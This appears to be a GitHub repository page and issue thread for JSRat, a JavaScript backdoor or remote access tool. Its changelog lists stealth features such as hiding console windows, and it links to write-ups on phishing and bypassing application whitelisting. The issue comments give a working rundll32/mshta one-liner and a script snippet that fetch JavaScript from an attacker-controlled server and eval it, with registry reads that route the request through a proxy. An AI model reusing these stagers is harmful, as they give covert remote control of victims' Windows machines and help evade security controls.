3gstudent/javascript-backdoor

Learn from Casey Smith @subTee

Javascript-Backdoor(JSRat)

It is my mistake of naming and the accurate name of this should be JSRat.

Learn from Casey Smith @subTee

https://gist.github.com/subTee/f1603fa5c15d5f8825c0

Blog about it:

《JavaScript Backdoor》

http://en.wooyun.io/2016/01/18/JavaScript-Backdoor.html

《JavaScript Phishing》

http://en.wooyun.io/2016/02/04/42.html

《Use SCT to Bypass Application Whitelisting Protection》

http://en.wooyun.io/2016/04/23/Use_SCT_to_Bypass_Application_Whitelisting_Protection.html

Other nice github:

https://github.com/subTee/PoshRat

https://github.com/Hood3dRob1n/JSRat-Py

Update:

	[+] Fix the time-out bug and some other bugs.
	[+] Get rid of the cmd black box.
	[+] Hide the "systeminfo" black box.
	[-] Leave a bug in Upload and Download Mode.
	[+] Add code to work behind a proxy server.
	[+] Add the way of using sct to start it.
	[+] Add the way of using wsc to start it.

javascript-backdoor's Issues

Enhancement: Limit command length to 260 characters

Enhancement: Limit command length to 260 characters

This way, we will be able to create a Windows shortcut with personnalized icon

would get killed

rundll32 js code will get killed by many sponsers，and it comes the same using mshta execute remote js code,but it'll do when the payload land at local disk, use mshta execute hta will do fine

Proxy Settigns

You may want to add the following to your script in order to work behind a proxy server.

rundll32.exe javascript:"..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");w=new%20ActiveXObject("WScript.Shell");v=w.RegRead("HKCU\Software\Microsoft\Windows\CurrentVersion\Internet%20Settings\ProxyServer");q=v.split("=")[1].split(";")[0];h.SetProxy(2,q);h.Open("GET","http://127.0.0.1/connect",false);h.Send();B=h.ResponseText;eval(B)

This addition will add a registry read to get the proxy setting and incorporate that into subsequent requests.

Like this;
try
{
w = new ActiveXObject("WScript.Shell");
v = w.RegRead("HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyServer");
q = v.split("=")[1].split(";")[0];
h = new ActiveXObject("WinHttp.WinHttpRequest.5.1");
h.SetProxy(2,q);
h.Open("GET","http://'+$Server+'/rat",false);
h.Send();
Cheers,

Casey
@subTee